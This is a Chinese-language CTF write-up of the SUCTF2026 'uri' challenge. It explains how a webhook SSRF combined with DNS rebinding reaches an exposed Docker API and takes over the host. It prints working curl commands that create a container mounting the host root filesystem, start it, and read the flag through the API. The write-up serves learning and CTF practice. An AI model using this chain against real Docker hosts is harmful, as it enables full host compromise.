SUCTF2026_uri 题目复现
docker api 逃逸
docker环境搭建的相关配置
这道题目里的 Docker 环境开启了多个极其危险的配置,这些配置组合在一起,直接构成了“SSRF → 接管宿主机 Docker → 读取 Flag”的完整利用链。
1:挂载 /var/run/docker.sock
docker-compose.yml:
1
2
|
volumes:
- /var/run/docker.sock:/var/run/docker.sock
|
/var/run/docker.sock 是 Docker 守护进程(Docker Daemon)的 Unix 域套接字,是 Docker 的“本地控制中枢”。
-
正常用途:让容器内的 Docker CLI 能直接控制宿主机的 Docker(比如 Docker-in-Docker 场景)。
-
在题目里:容器内的进程(包括被 SSRF 利用的请求)可以直接和宿主机的 Docker 守护进程通信。
-
只要能访问这个套接字,就可以执行任意 Docker 操作:创建容器、删除容器、挂载宿主机目录、甚至在宿主机上执行命令。
2:socat 代理 Docker API 到 127.0.0.1:2375
entrypoint.sh:
1
|
socat TCP-LISTEN:2375,bind=127.0.0.1,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sock &
|
把 Unix 域套接字 /var/run/docker.sock 桥接成 TCP 端口 127.0.0.1:2375。
- 正常用途:让容器内的程序可以通过 HTTP API 访问 Docker,而不用直接读写 Unix 套接字(更方便)。
- 在题目里:给 SSRF 利用提供了完美的攻击面——因为 Webhook 转发就是发 HTTP 请求,刚好可以用来访问
127.0.0.1:2375。
这个设置把“Docker 套接字的权限”转化成了“HTTP API 的可访问性”:
- 原本 SSRF 很难直接利用 Unix 域套接字(需要特殊协议支持);
- 现在变成了标准的 HTTP API,SSRF 可以直接发请求,利用门槛大幅降低。
docker api利用链
- 挂载 /var/run/docker.sock → 容器能控制宿主机 Docker
- socat 代理到 127.0.0.1:2375 → SSRF 可以通过 HTTP 访问 Docker API
代码审计
这个题目代码本身还是很浅显易懂的,主程序main.go写了一个web服务定义了/api/webhook路由,设置了一系列检查,要求:
- 方法用POST
json 没有语法问题
- target url不为空
- url通过自定义的
waf:
- 符合url规范
- 只允许
http和https
- 域名禁
localhost和``(空)
- dns解析的ip符合规范且不在黑名单内部,如果存在IPv4-mapped IPv6 地址,还原成IPv4,(这里第一次查了ip,rebinging服务正常返回信息)
满足以上要求之后,代码会sleep 2秒,之后才正式开始进行post操作,但这个时候已经过了2秒了,不过他有没有缓存都是一个非常适合恶意ttl发挥作用的时机,
可以控制dns服务器给这个具体干活的请求发一个本地127.0.0.1的ip,来实现ssrf,这里放了两个检查,只要dns服务器那边设置的正确,你不用做什么操作,
就可以实现ssrf
dns-rebind
细节见 另一篇博客
docker api利用细节
当我们可以通过api控制docker的时候,如果想要执行你想要的已经存在的脚本,只需要下面几个curl命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
# docker pull alpine:latest
$ curl -k https://ctf.pencilfishdaydream.fun/api/webhook \
-H "Content-Type: application/json" \
-d '{
"url": "http://a6.rebind.pencilfishdaydream.fun:2375/images/create?fromImage=alpine:latest",
"body": "{}"
}'
{"message":"forwarded","target_status":200,"target_body":"{\"status\":\"Pulling from library/alpine\",\"id\":\"latest\"}\r\n{\"status\":\"Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300\"}\r\n{\"status\":\"Status: Image is up to date for alpine:latest\"}\r\n"}
# docker create -v /:/mnt alpine:latest /bin/sh -c "/mnt/readflag"
$ curl -k https://ctf.pencilfishdaydream.fun/api/webhook \
-H "Content-Type: application/json" \
-d '{
"url": "http://a7.rebind.pencilfishdaydream.fun:2375/containers/create",
"body": "{\"Image\":\"alpine:latest\",\"Cmd\":[\"/bin/sh\",\"-c\",\"/mnt/readflag\"],\"HostConfig\":{\"Binds\":[\"/:/mnt\"]}}"
}'
{"message":"forwarded","target_status":201,"target_body":"{\"Id\":\"a3cb872a7e34f79607473a9b7f76e9328e1f7524bd0f5c903c892a91af46617d\",\"Warnings\":[]}\n"}
# docker start container-id
$ curl -k https://ctf.pencilfishdaydream.fun/api/webhook \
-H "Content-Type: application/json" \
-d '{
"url": "http://a8.rebind.pencilfishdaydream.fun:2375/containers/a3cb872a7e34f79607473a9b7f76e9328e1f7524bd0f5c903c892a91af46617d/start",
"body": "{}"
}'
{"message":"forwarded","target_status":204}
# docker logs container-id
$ curl -k https://ctf.pencilfishdaydream.fun/api/webhook \
-H "Content-Type: application/json" \
-d '{
"url": "http://a9.rebind.pencilfishdaydream.fun:2375/containers/a3cb872a7e34f79607473a9b7f76e9328e1f7524bd0f5c903c892a91af46617d/attach?logs=1&stream=0&stdout=1&stderr=1",
"body": "{}"
}'
{"message":"forwarded","target_status":200,"target_body":"\u0001\u0000\u0000\u0000\u0000\u0000\u0000'SUCTF{SsRF_tO_rC3_by_d0CkEr_15_s0_FUn}\n"}
|
闲话
这几天听了一些东方同人曲,让我对音乐二创的有了完全不一样的认知